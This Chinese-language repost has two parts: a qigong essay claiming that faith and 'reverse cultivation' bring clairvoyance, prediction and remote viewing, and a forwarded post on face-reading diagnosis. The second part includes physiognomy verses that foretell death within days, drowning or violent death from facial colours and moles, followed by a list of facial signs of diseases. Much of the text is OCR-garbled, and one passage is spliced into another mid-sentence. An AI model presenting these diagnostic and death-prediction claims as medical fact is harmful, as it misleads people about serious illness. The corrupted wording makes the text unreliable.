　　心诚是心法的总枢纽，是练功的关键。若长期修练收效甚微，也应从心诚上找找原因。心诚者主要应表现在信、恒、悟这三方面。
1、信：
　　信与灵两者是因果关系，真信真灵，不信不灵，半信半疑会信息紊乱，不会有多少效果。信的人意识专注，精力集中，可以实现以一念代万念。不信者杂念纷纷，心神不定。信是出功效的决定性因素，是能否沟通信息的先决条件。
　　常人的思维是顺向思维，读书用的是求证法，工作中的改进管理和技术革新用的是验证法，其共同点是证后方能使人相信。在社会生活中和社会交往中由于上当受骗太多，并成了先疑后信的习惯。这些思想上的障碍不排除，对修练是极大的妨碍。因为修练是逆向思维，要先信然后才灵。普渡众生首先就是要度人对修练的真心与诚意上。 2、恒：
　　恒就是修练要有恒心，不能间断。修练是一个不断聚集能量的过程，是一个由量变到质变的过程，这是一个循序渐进的过程。三天打鱼两天晒网，练练停停者是不能出功效的，这是心不诚的反应。那些半信半疑者也是心不诚者。只有坚信不移方能克服重重困难，持之以恒。
3、悟：
　　有语云"高功贵悟"，"功不在死练而在悟"，说明悟对长功起着决定性的作用。在平时要提高对功理的理解能力，这属于低层次的悟。修练时要善于捕捉灵感出现的刹那间的感受，这属于高层次的悟。一般人都是从渐悟开始逐渐达到顿悟。在练时若老是停留在练形上，什么脑筋也不动，说明缺乏悟性，这是心不诚最突出的表现。
三、怎样才能练好功？
1、必须进入松静态：
　　修练时的松静态，首先是身体放松。真正放松时全身会有麻胀
感，此时应注意调上下、调前后、调左右、调内外，使麻胀感均匀一致。但最主要的还是心态要放松，不执着，不想与练功无关的事，树立善念。
　　功夫的高低主要取决于灵静态的深度（不是死静态），即取决于头脑中识神的控制程度和元神的调动能力，不在于动作的繁简而取决于入静的层次，一个满脑子私心杂念，整日被功名利禄所困扰的人，怎样经常保持练功中的高度静态呢？
　　在平日与人相处，若心怀嫉妒，心怀戒心，心怀恶意，虽然在表面上装客气，装友善，却在内心深处怀有不信任情绪，排斥情绪，甚至敌对情绪，如果整天处在这种不自然，不自在、不舒心的状态下，这是一种紧张的心态。若整天患得患失，自私自利，贪得无厌，这都是一种紧张的心态。当心态紧张时，不管练什么功法，都失去了练功最基本的条件--松静态。平时心松不了，修练时自然就静不了，会杂念纷纷。
　　修练的松静态不仅仅是练功时那一时的松懈，只有一天24小时均能保持松静态，即心无挂碍，心平气和，行住坐卧皆不离这个。修炼须进入静态，否则无法进入修练的高层次。
2、必须进行逆向修练：
　　张三丰云"顺则凡，逆则仙"，"逆"就是指逆向思维，逆向修炼，必须摆脱常规思维的束缚。在修炼中，逆向思维是起着重要作用的。会不会运用逆向思维进行逆向修炼，与能否成功得道关系十分密切，这是成功的诀窍。
　　一般人的心神是外弛的，思维的着眼点是外界的人与物。但修炼要求精神内守，注意力集中在自己身上，去想象去感觉，这就是心神的逆向修炼。
　　一般人看东西是眼见为实，但修炼需要运用无中生有的的形象思维。形象思维接近"直觉"（直觉就是一下子使问题得到澄清的顿悟）才能产生灵感。逻辑思维是常规思维，是远离直觉的，这是从"实"向"虚"的逆向思维。
　　对道理，平时可以多想、多听、多悟，一旦练起功来，要绝学断智，要把过去所学到的知识统统放下。放下的越多，修练效果会越好。要大智若愚，重在体感，心领神会，这是对知识的逆向思维。
　　常人办事都需要根据预先的计划，然后再付之实现，这是有为法。但修练要遵循"大道自然"，"功到自然成"的准则，这是无为法，这是从"有为"向"无为"的逆向修炼。
　　随着时间的推移，人是由青年、壮年，向老年过度，其心态也随之跟着变化。修炼要"复归于婴儿"使其心态回到婴儿时期那种无知无欲，天真烂漫的心态中去，这是心态上的逆向修炼。
　　常人对物质世界的贪求是有增无减，私欲难以填平。修炼要求清心寡欲，方能心松心静，这是对欲望的逆向修炼。
人从懂事后，各种知识逐渐丰富起来，迅速提高了识神的逻辑分析判断能力，人的一切言行皆由识神支配。修炼要求识神退位，让元神显现，自动调理身体和开发人体潜能，这是由识神向元神开发的逆向修炼。
3、摆脱常规思维，才能进入特异思维：
　　所谓常规思维，就是眼睛能够看到的三维世界（前后、左右、上下）而潜意识是超时空的，它能与四维世界（前后、左右、上下、时间）相通，没有时间和距离的限制。把时间倒回去就是追眼功能，把时间向前推就是预测功能，从外表能看清里面的情况就是透视功能，把远处的景物拉到面前透视就是遥视功能，它们都属特异思维范畴。
　　逻辑思维是显意识中的最高层次，它是最无视远离潜意识的，感觉是思维中最原始最低级的层次，它是显意识与潜意识之间的过渡层次。在修练中要放下一切知识障，凭感觉去感知，才能进入特异思维。
特异功能是在无意识状态中，在随意状态中，在恍惚状态中自然而然出来的。有目的、有欲望、有安排，这一切都属于逻辑化的范围，越是进入理智思维，就越是离特异功能远。
　　人类秘密的一半，都在潜意识中，影响调整潜意识，可以说是治疗疾病的主要手段。元神显现后，才能沟通信息，增长能量，开发各种特异功能。所谓发功和接功，两者之间都需通过潜意识相沟通，才能信息共振。若接功者的潜意识没有调动出来，是接不到信息的。所谓心诚则灵的奥妙和悟性的奥妙，发气的奥妙都是如何调动潜意识的问题。
　　信息共振就是沟通信息。在宇宙的空间，存在着无限的能量和信息，也存在着数千年以来得道者的残留信息，信息共振就是可以调动宇宙能量和信息，用来开发自己潜能，这比自己刻苦修炼的后天功夫和能量要强得多，故此功的关键是沟通信息。

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[转]医师神手绝技

583725771@qq.com(普才) — Sat, 24 Oct 2009 14:17:33 GMT

本篇介绍的望相诊病法是一般医学教科书所没有的，也是大多数医生听都
末听过的，经验证效果确实才予公开。，
一、教门面相诊病
两眉间为肺，颜色白黄则有病。两眼间为心，颜色白黄发亮有病。
鼻梁为肝，颜色发红乌暗则有病。鼻羽为胆，黄的为病，白中带点
为结石? ， "
两鼻孔为胃，色白则有病;两咀角为肾，颜色白淡则有病，白中带
点为结石。 ? " '
二、秘传面相疾病总抉
亏眼肚黑，肺热准头红，肝盛两眸赤，寨喘两颧乌。
多风蓝眼白，痰湿眼中黄，多痰眼肚肿，寒胃口唇青，肾绝耳黑稿。
湿盛面皮黄，肝热皮毛燥，脾热眼颧红，夹色眼昏暗，足伤月脖沉。
失血乌年寿，遗泄面青黄，气虚面浮肿，多汗面唇青，痛病眉心皱。，
火燥额堂乌，额焦宜补水，唇白勿尝寒，颧赤清肝肺，肥盛痰要除。/?
瘦人肝火盛，赢弱气虚防，困喉发噎食，困口发胃寒，泄泻面黄白。
腹痛白面唇?面黑蓝防泄，眼圆突防狂，似鹤成痨症，如紫定骨蒸。
鬼惊面蓝黑，绝胃口门青，服毒白人口，发红下血症，面黄如染纸?
肠风及血崩，眼沉成眼病，鼻丑腰不宁，怪部黑忧症，斑缠亦同评。
悬针灵锁印，中焦病必成?鼻上成三折，手足断宜惊，痰盛面光亮。
气紧腰痹防，鼻耳暗将亡，诸病宜查此，临症不张忙。
三 (疾病在面部表现祥析)
心经受病盯盾心皱，悬针破印，山根断，眉连印眉毛重主心经或心
病。
"肝经受病一眉骨强起，颧骨高竖，人瘦筋现，眼多红筋，面皮紧
瘦，颈筋多粗，肌重肉松，鼻脊露骨，细小无肉，此为肝病阴虚见血。馏似醉者，色泽常常清而忽昏浊劈惨者，-皆是不常之变，尽为卒死之兆。病人若目兵妻视，舌卷缩者，谓之心绝，即日死。面惨色黄，唇青短缩者，谓之脾绝，不出十日死。齿牙干焦，耳黑而聋者，为谓肾绝，不出旬日死。口中纪很不合及眼睛翻恶者，谓之肝绝，不出十日死。发直干脆者，不出半月死。面色忽如马肝，望之如青龙之黑，不出三日死。四墓发黑色者死。年上横黑气者死。病人得紫色者皆痉，得黑色者皆死。 ?
面有三黑:墨黑吉，漆黑吉，炭黑凶。水色如黑漆，不欲如炭，如乌羽者生候，如烟煤者死候。
面有三红:鸡冠红吉，朱砂红吉，大红者死。火****如白裹朱砂，不欲如蓝，如翠羽者生候，如草滋者死候。
面有三黄:漆黄吉，李杏黄吉，柳黄者死。土****雕黄，不欲如土，如蟹黄者生候，如积壳黄者死候。
面有三白:雪白吉，霜白灾孝服，苍白者死。金****白如粉，不欲白如尘，如猪膏白者生候，如枯骨白者死候。
凡看气色，须辨形声行坐言语，推而合之。
13、《三日知一生》看小孩的相，从出娘胎的三天内，听孩子啼器的声音，如能一一连三四声不换气，将来长大以后必很不了起。还可以
观察:头的转动、眼睛的灵活、耳朵的软硬、口唇的厚薄以及色泽的红润，就可以推出将来如何，是杏能成器?同时也勉励做父母的对子女教育，从一出娘胎就要注意，免得影响其一生的发展。
1。，《三岁定A十》这不仅是相学术语，也是儿童教育心理的名言。三岁的儿童巴不食母乳，而五官六府、三停骨格、性情贤愚，都可以观察大概，如果有什么缺点，就应该赶紧设法矫正或补救。所谓"近朱者赤，近墨者黑"、"相髓心生，相随心灭"，能够重视家庭教育大可以使儿童将来能成大器;如果以为三岁还小，过于溺爱，就很可能害了他一辈子。
15、《相形俗》
蜀人相眼，闽人相骨，浙人相清，淮人相重，宋人相口， "江西人相色，鲁人相轩昂，胡人相鼻，太原人相重厚。
1"6、《相疾病生死捷法》
¨病生乎内，;发乎外，是以先贤以山根定疾厄之宫，确乎嘛其不可¨?移…咪性命旨?L云，?山根上通天谷，?下达尾闯，中通心肾，L召摄灵阳。凡人生而长，后天呼吸不能接先天之真气，所以不通。夹脊透混元而直达于合府，子母何能会合，破镜何能重圆。不知救护命实，翼作修，证仙道。故有病苦生死，独以山根为重辨者，盖因乎此。凡病者，不过灾疾，耍在疾厄宫看。此宫青暗，不过小疾。此宫黑赤，不过有灾，非主死。凡口准命耳此四宫犯相克之气色，即死无疑。克乃五行棺克之理，不可不看详细。一面灰蒙，必遭大难。命宫昏暗，
必遭大难。天庭色滞，必遭大难。边地色暗，必遭大难。惟小儿易见，若瞅哪疾病，山根必有青气，但看轻重如何。大人山根乎满，年寿润泽者，身长康泰。错暗及纹理者疾病频来，如面枯黄者为疾病天罗。孝?"?，、额外负担上枯黄者主病。额外负担赤干枯者主病而兼是非。印堂青色病至。两眉枯黄色防灾。眉头青主妻灾。眼下青枯稿主子女忧或妻
灾。准头紫黑有病，若黑气，心腹疾。准头红黄光明者生，暗惨青黑者
必死。 "
食指偏早年主眼疾，申搐偏申年主脚疾;无名指偏晚年主脚疾，小指偏老年主气疾。
妇人血气病，耳内有瘩主痔病。耳小而弦生珠者主厄，耳干枯防，耳黑寞者主死，耳黄气兼重黑者主死。口角黄者病。病人眼有神气者生，气脱者死。?天柱正目活者生、，无神者死。目低项下者死。瘦而不枯瘁者生，肥而无血者死。有喜容顶色正者生，眼神短，悲啼者死。舌儒唇红者生，舌缩唇枯者死。风而口禁者生，开口者死。神光上黄明者生，昏晤者死。黑气如擎盖者生，聚者死。黄红如浮去者生，黑青气斜八口者死。气息宽而长音生，气息短者死。语声响彻云霄滑者生，短涩者死。人申润泽者生，干枯者死…L:?
17、《相死亡决》
决死亡之期，先看形神?。?"色青横于正面，唤作行『。色黑横向联合于耳前，名为夺命。神脱口开，有病即死。七窍不明，寿难久延。流魄 (黑色)放海，须防水"E。游魂 (黑色)守宫 (龙宫，眼瞳)，寅主丧身。道路昏惨，跌蹿之灾。宫室燥火「火汤之咎。耳根黑子，倒死路旁。承桨纹深，恐投浪里。喉短脚长，终死他乡。声干无韵，何得命久。 t升酿披唇膘，死在他乡。竿寿起节，四十五前死。头低项弱，三更前。亡男妇结喉，招恶梦死。眉轻口阔，主招水灾。肥人气冷，神滞即死。声尾干即，两脚拖地骨即死。神魂不宝，年少神散、黄人口角剧病人无扯、死足，、声尾秃主合不久远。耳干色暗，不久即亡。，命亦不久。皮鼓神滞即死。瘦无精神，筋不束，主遭危难。准头赤带黑主凶死。唇青黑主饿死。 ?产名气败死老人头项耳皮干即死，色变神脱即死。死。四肢于，一年定死。老来多睡，主死。色鲜，主死。肉多骨弱，四九不僳。目小无光，禄绝命眉如厨鸡，一六归阴。形瘦皮干，四九即亡。印暗准黑，见即身亡。气散神移，死期不远。鼻抵神滞，不久人世。，，天柱 (颈项)倾歌，幻身将去。法令绷缠，七七之数焉苛过?玄璧昏暗，人亡家破。置黄睛赤，终主横尸。。齿露唇掀，须防野死。唇掀喉结，必死他乡之野。莫教四反，五六必主凶亡。神脱口开，天柱倾歌者死。七穴(耳目口鼻)不明(反霞而不明Y，寿难再久 (天折')/;;喉结脚长，终临外死。少肥气短，难过四九之期。， ? "唇缩神痴，焉保三旬之厄。眼大露光，主犯刑死。
-33鼻起节，主破家，死在外乡。有头无项，三十前死。
女人唇自得病，唇青即死。老来头皮干十无一生。
承桨无须，唇耳紫，定遭水厄。耳内表，忌血疾亡身。四肢干、一年主死。 "
十二亥宫起白点如粟粒，主遭奴仆之害。
眉间上下生自气，主招花酒亡身。
眼边生色，主子女多刑。忽然眼垂下视，主死。
病人伏卧主生;常人伏卧主死。卧中如吹火，少年主刑死，老来不
善终。
卧申切齿，害子害孙。鸭背鹅胸，饿死何难。
气促语急声秃，指日必填沟窒。腾蛇人口，项折而倒死街衡。 "
尘生满面，欺骗不久前程;眉间有三道横纹，死于兵刃。
初年水厄之灾，但看眉间黑子。痔生眼尾，申年必主水灾。
鼻准有纹，溺水而死。带杀双兼，恶死居前。
人中斜曲主横死。三才缺，而碎殃。
18、《相法何知歌》
何知其人绝处生，眉散重生发组青?何知其人死速至，肥肉青浮黑
瘦枯。
何知其人孝服生，眼下丧门****痕。何知其人服毒药，土上损破黑
子恶。、
何知人生卒暴死，唇青年上生黑子。何知其人主饿死，纵纹人口乃
如此。点、
何知其人主水厄，看他眉间双黑子。"何知其人死相随，初年即便身
充肥。 -
何知人主他乡死，看他眉上生纵理。何知其人主路死，满面白色怡
似泥。?
何知此人水中死，地阁有痞须眉重，7k法不清神昏暗，眉有黑子少
年天。 " ，
何知此人火中丧，眉黄短促须红黄，眼有青筋额露赤，颧破神错发
又光。
-34-
何知此人兵中亡，山根有破眼睛黄，更兼命犯罗计盗，颧破神昏友
又光。
?何知此人多火?灾，面额昏赤如尘埃，准头红气直侵寿，回禄之殃定
必来。
何知此人必溺水，唇合似茎青人口，天中通暗光殿青，何伯催促回
难还。
何知此人溺水死，黑色人口有黑子，玻池纹现坎宫乌，唇擎掌上坎
宫似。
何知此人阵申亡，山根有破眼睛黄，更兼命陷罗计竖，颧破神昏发
又刚。
何知妇女险盘死，额红似火神如醉，唇黑发枯死必然，掌上乌鸦雁
不取。
何知妇孕死在腹，唇黑睛吏面蓝酷，眉锁山根命门岛，叹声不绝人
地狱。
何知死后元葬地，法令直冲丑地是，地阎不朝颐又尖，边地不分无
所异。
何知虚花兼无寿，皆因腰脊陷如槽，鼻断形寒身又簿，有此生相定
难光。
何知此人死非命，唇寒眼白心窝毛，眼申罗网掌中骨，若有绳纹自
统终。-
何知此人招雷击，掌上震宫辨祸福，震位乌鸦及青筋，右颧亡暗寅
为刊。旷"
何知此人蛇虎伤，山林内裹昏暗深，泪堂纹破阴驾地，改过尤能免
祸殃。
何知此人色中丧，柳叶眉眼又暗殃，色上寒眼下写妇，女色眼雀斑
也读。
何知此人酒申丧，鹅鸭位上有黑暗，面上通红酒过伤，准头红白筋
当乘。
何知此人少年死，额上多筋神不清，面色光浮天罗犯，无儿命短两
相并。
全身疾病在眼部可有一下表现：
贫血：睑结膜苍白及血管中血液颜色较淡
甲亢：眼球向外突出或眼皮退缩
急性黄疸性或其他会引起胆管阻塞的疾病：巩膜黄染
先天性铜质代谢异常引起脑部病变：角膜边缘上出现蓝绿色的铜质沉淀环
高血压病及动脉硬化：视网膜血管变细，反光增强，动脉和静脉交叉之处出现静脉被压迫的现象。高血压病后期还可出现眼底出血，视网膜脱离，视乳头水肿等
高血脂症：多数患者50岁以后，角膜边缘出现一圈灰白色或白色的环，宽1~2毫米，可随年龄增加而增宽，颜色变深，称之为角膜老年环，有该环者总胆固醇水平增高的几率增加60%
糖尿病：视网膜有微血管瘤，出血，还有可能有黄白色或白色棉絮状渗出物及新生血管等
某些颅脑疾病：颅内肿瘤或炎症等引起颅内压增高的病人，眼底检查可见视神经乳头呈水肿等症状，慢性期可见水肿消退，视神经乳头呈淡黄色，即视神经萎缩的表现
脑瘤或脑中风：眼球出现异常转动，偏斜，眼睑下垂或闭合障埃
中医望脸识病
一般来说我们通过人的面部的望诊，就可知道人的喜、怒、忧、思、悲、恐、惊等不同的心理活动，这已成为我们的常识。这是什么道理呢?因为面部的一些重要器官和内脏都有密切的联系。仅从五脏说起，如心开窍于舌，其华在面，肝开窍于目}肾开窍于耳，肺开窍鼻，脾开窍于口，其华在唇…“。在《灵枢·邪气脏腑病形篇》说:“十二经脉，三百六十五络其气血皆上于面。”从而就证明了颜面的变化和内脏是息息相关的。“有诸于内，必形于外”，人体的脏腑有病，也一定会从面部表现出来，我们就利用这种内在的联系，根据面部的各种不同的变化，引导我们来辨病和辨证。
正常面色
健康人脸的气色应当隐显于皮肤之内，红黄隐隐，鲜明润泽，表示气血充足为健康无病。但也有稍偏某种颜色而一生不变的，也属正常范围。不过，不论偏于何种颜色，均以明润蕴蓄为佳。《内经》云。“五色者，气之华也。赤欲如白裹朱，不欲如赭,白欲如鹅羽，不欲如盐,青欲如苍璧之泽，不欲加蓝。黄欲如罗裹雄黄，不欲如黄土，黑欲如重漆色，不欲如地苍。五色精微象见矣，其寿不久也。

五色主病
一般说色青多为肝病，色赤多为心病，色黄多为脾病，色白多为肺病，色黑多为肾病。
其临床表现参阅下表。
常见的神情变化
得神:面色润泽，神情爽朗，目光神彩奕奕。是精力充沛的表现。
失神:面色暗晦，神情呆钝，目无光彩，萎糜不振等表现。 4 t9 X( 常见如下几种
情志不遂:若有所思，情绪沉郁。
气阴不足:神志恍惚似明不明，视物不清，精神疲倦。是精气阴血不足的见证。
神气将亡:循衣摸床，两手摄空、两耳呆亏髓空不能充脑，脑海空虚，无能出思虑主记忆，指挥失灵，诸病皆生。
本病因脾瘦肾亏髓空而致，故滴宜朴养心肾，益脑活扎添精增慧，方用“盏脑聪硐汤”，加减论治，并举验案二则，以作验程。益脑聪明汤原为笔者治疗脑动脉硬化的佳方，后治读劳伤心失眠健忘智能减退疗效亦好。西观察时间不长，病历较步，此方对脑心肾之作用机制如何，有待夸后进一步验证与探讨。视。是神气将亡的先兆。
回光反照<迥光返照):初秋，日落西山将会带来黄昏的黑暗，但由于光的反射作用而天空暂时很亮。
河北省农村一般称此为“火烧云晒死人。”予测明天为好天气。医学上借用指人死前，表面上病情有些好转之象。但并非所有的病或病人都有回光反照。常见久病危重的病人，在死前l 0余小时或1 0多分钟，面色突然呈现鲜艳浮红，或全身有舒适感、或语言特多、或食欲突增等反常现象。则为精气将竭之先兆。
T临床常见病脸谱
疳积
健康的小儿给人的印象是。乌黑的头发，擤亮的眼睛，红润的小脸，欢畅的神态。疳积是一种小儿常见瘸。表现为发无光痒，面黄肌瘦，舌苔厚腻，出口热气。严重者进会出现头大颈细，腹大青筋，食欲不振，好吃泥土，大便粘臭，指纹青紫等。
小儿脏腑娇嫩，脾胃功能薄弱，又不知寒热饥饱。年轻的父母只想让孩予一口吃成个胖子，过多的给孩子吃甜食和生冷油腻的食物。以致食滞中焦消化不良，损伤脾胃引起疳积症。
少相
在城镇中常见一些人，比一般同年龄组的相比，而特别显得年轻。而在体力、智力等方面反而不如同龄人者。我视为“少相”。选种人面部特征是肥肥胖胖，面色红润。而实质为明虚阳越的表现，稍加体查就会发现血压舟高'动脉硬化，爱发脾气等不正常的现象。
人们都希望“年轻”，试图延缓老年的到来，但欲望和规律是不一致的。人到中年有不同程度的脱发或自发，额头上嵌几条皱纹，是很正常的。“少相”反而对健康无利。持少相者，要通过自己力所能及的体力活动，在脸上刻上几条生命的年轮方为悦颤。
肝阳
年龄较大多在四十岁以上。面部红活，或颞动脉纡曲可见,状如蛇行。经常头晕目眩，记忆力下降,脉弦细，趺阳^脉(足背动脉)弱。属于祖国医学的“眩晕、“肝阳”等范畴。原发性高血压动脉硬化病人多现此种情况，离血压病人通过面部小血管的麻液流动缓慢，故面包多呈红润光泽。

猩红热(烂喉痧)
面部充血潮靠，环口苍白，咽峡赤烂，杨莓舌。伴发烧，全身弥漫性鲜红色皮疹。属温热病，用卫气营血辨证。
肺结核病 .
肺结核平时面色多替白而清瘦，每当午后低热发作时，两颧部可出现如涂了胭脂一样的红色(潮红)、舌红步津，伴有盗汗，脉沉细无力。多属肝肾阴亏所致，中医称为“劳”。
肺心病心衰
颜面青紫，舌质晦蓝。伴有畦、痰、喘、肿，心悸气短，有慢支炎病史。从肺脾肾兰脏施糟。
风湿性心脏病二尖瓣病面容
两颧紫红色(由于肺郁血)，周身作肿，脉祝细或结或代，多见于青年。属于祖国医学的“心悸”、“水肿”等范围。
大叶性肺炎
面包微绀，鼻翼骟动，口唇及鼻周围有疱疹。起病急骤，伴发烧、咳嗽和胸痛。按温病辨证论治。
伤寒面容
神志迟钝，表情淡漠，列周围呈无欲状态。情人呈稽留热．相对缓脉。可见玫瑰疹，脾犬，白血球减少等症。逮种表现在伤寒病极期最为明显。本病相当于中医的“湿温”，用清热解毒、清热开窍等法治疗。
急性肾炎
前面突然浮肿，以双眼睑明显，眼裂如线，伴有头晕、少尿，脉沉等症。属中医阳水或风水范围。
慢性肾炎(肾病变型)
颜面苍白，明显浮肿，在额部可出现指压痕，精神呆滞，伴有全身高度水肿，乏力晨寒，脉沉、舌质淡胖。中医从脾肾阳虚论治。
慢性肾炎尿毒症
面容污秽发黄，再加贫血与眼皮肿胀，恶心呕吐少屎，脉沉，舌质淡胖苔腻。属中医关格范围。
肝硬化
面色黧黑不洁，消瘦两颧突出，面颊多见蜘蛛痣，舌质红无苔，大肤青筋，脉细数，中医俗称“水臌”。
脱水
目窠深陷，面无光泽，目失神彩，舌质红苔干欠津，伴有吐恶或厌食。属中医津脱信证。
恶病质
颜面“三突出”即前额、双颧、下颌突出。一深陷，即眼球深陷。伴有进行性的显著消瘦。癌症后期多见。中医属“面脱”。《索问·玉版论要篇》。“色夭而脱不治”，指出为垂危的证候。
甲亢
眼球突出，眼裂增宽，两眼直瞪，表情惊恐，甲状腺肿大，伴多汗心悸易怒，手颤等症。属中医“瘿病”的范畴。
柯兴氏症(皮质醇增多症)
脸园如满月，红润多脂，正面可能看不到耳朵，侧面甚至看不到鼻尖毛发增多，同时又有脱发，四肢相对瘦小。中医治疗多从脾湿着手。
红斑狼疮
面部有蝶形分布之略带水肿性紫红色斑片。和中医肾阳虚有关。
破伤风
苦笑面容，牙关紧闭，角弓反张。有破伤病史。中医称为“金创痉”。
再障
颜面萎黄，粘膜苍白，伴有乏力头晕眼花，活动后心悸气短等表现。属于中医“虚劳”和“血虚”的范围。
腮腺炎
多见儿童，耳垂下肿大，局部皮肤发亮!张，但多不红。为病毒性疾病，中医认为是：毒，普济消毒饮加减治疗有良效。
面神经麻痹
歪嘴，病侧额纹变浅或消失，眼裂增大，鼻唇沟浅或消失，口角下垂不能皱眉、闭眼，鼓腮等。民间称此为“吊线风”。用针刺或服牵正散效果较好。
脑血管意外
突然歪嘴，鼻唇淘变浅，口角下垂。语一不清，伴有半身不遂。多有高血压病史，中医称为“中风”。
何杰金氏病
脸色棕黄，色素沉着、疲乏软弱，厌食恶心。和祖国医学中的肾阳虚有关。
急性黄疸型肝炎
颜面发黄、目黄、尿黄(三黄症阳性)，苔腻纳差，脉濡，中医称此为黄疸病。如黄明亮如桔予色的属阳黄}黄而晦暗如烟熏色,阴黄。
干血痨
颜面黯黑赢瘦，肌肤甲错，月经闭止，腹满不能食。

普才